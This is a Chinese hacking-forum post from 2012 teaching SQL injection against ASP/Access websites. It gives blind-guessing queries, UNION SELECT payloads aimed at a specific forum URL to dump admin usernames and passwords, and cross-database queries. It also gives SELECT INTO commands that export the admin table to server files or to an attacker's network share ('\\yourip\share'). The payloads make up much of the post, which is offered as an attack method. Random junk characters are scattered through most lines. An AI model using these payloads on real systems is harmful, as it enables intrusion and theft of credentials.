--------------------------------------------------------------, k. h) z( q7 m1 G: `; o/ L
union查询法3 c, i) {. ], r1 I
首先要说的就是查询办法,一般的查询办法就是7 P& ~: }! H9 p, ~; K3 F% S" I
0 t$ J$ h( Z c0 F& K0 m; Y$ I5 l6 K程序代码9 W/ k1 N# s K2 M" A
and 1=(select count(*) from admin where left(id,1)='1')
' ~, {( g: q9 H/ [. K1 D$ t. _) }9 [8 f; K- s
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
3 j' i( D! \' e* M8 O6 `所以这个时候,union select横空出现.别以为只能在PHP里用哦...
0 m. T# X7 v: R$ n譬如你有一个ACCESS点:0 i+ l1 q# e- v% R; o
程序代码9 m) K% |6 g* u/ S6 F4 g$ }/ d
http://bbs.tian6.com/xiaoyang.asp?coder=1* r( }: g5 T' B& Q5 [, m; e5 q4 s
; ^1 a: [/ W C! ~; Q9 G0 |知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),7 r! ~ t+ H8 {7 S/ b
然后我们直接来:
( c0 C" y5 n$ \5 H+ h( x程序代码0 }- F* h {# q9 k( y, T/ w
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)], b, z) v) q0 Y: R5 E" P" J
4 b; Y1 x8 x4 s# f; B% u这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.
, ]/ U6 A$ w2 R6 R/ _/ ~6 o/ O/ Z$ r1 u6 ~5 `& S& J7 |
' u/ p5 l& @% M9 x, T1 W* O5 Q' p5 e2 B/ e0 E" u
---------------------------------------------------------------: D6 L7 e6 F: b
Access跨库查询) z* j" V: }, J
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
! Q o5 ?: S3 M8 w跨库的查询语句:
, i" l6 X8 F- [/ u子查询:
# s+ r _/ a# w; Q$ t* N3 C: k程序代码
$ `0 o# y" u) ? k3 O. p+ c5 c: nand (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
! V) d* D% \0 H! F$ l: b( `
9 ?1 L1 D1 v# junion查询:
9 C( [: i4 M/ ~程序代码 s2 T2 T4 o w$ p4 ?
union select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=15 C6 L) L! a% V2 c# E
2 m7 r+ b2 n1 [, B- T+ ]( E/ v跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:+ |8 Y" k3 @- f; X) @) {( x
程序代码/ O9 p$ w1 F i7 Q# w
http://www.4ngel.net/article/46.htm / q" x/ Y. d# k( j
http://hf110.com/Article/hack/rqsl/200502/66.html; G# x6 Z2 Z) W2 f9 ~3 ~
* j% \0 ~6 x7 g7 B" z3 x
---------------------------------------------------------------
% N& m4 ^6 }" ^! ], @6 D5 d# sAccess注入,导出txt,htm,html
* d7 m) Y! p. ~) ^0 |0 B子查询语句:0 a3 M; Y ]. G4 Z
程序代码
, J2 k" X' D% O: v1 c3 z6 YSelect * into [test.txt] in 'd:\web\' 'text;' from admin
. {8 c+ A# w" a7 ~! V/ L: h: U& P! T4 T; s& z
这样就把admin表的内容以test类型存进了d:\web里面.
3 E$ ^( O& X5 G9 I: @7 o( |8 pUNION查询:
9 H T# R. F9 j; |/ L, w: S9 P程序代码
* T% S: W4 ]; Y* \2 Z4 i2 M. C3 ]union select * into [admin.txt] in 'c:\' 'test;' from admin
3 U7 x K$ G% a& O8 {. N1 H7 ^ g3 ^0 N& s- G" _' G
而且这里也可以保存到本地来:/ l7 j. l/ u, ]! L& b
程序代码& B; z: e: y( V6 @# I: k6 Z0 Q
Select * into [test.txt] in '\\yourip\share' 'text;' from admin, t% b' V' j" K' H5 {! q; N$ e
! t3 A" J0 c1 V) g0 ~; H
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
: u; I6 {$ C$ w- Y. T$ V5 y5 W, U
程序代码9 Q! ^. j! v" @9 l$ x
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
8 u! B* A$ c- h% U) D$ ~- G& P7 [: v6 R2 [ p" y, p
因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang asp.asp之类的文件或者目录来导进文件~还是会很强大的.
+ G0 y6 H! y3 w4 o& s |
发表于 2012-9-15 14:20:57
收藏
支持
反对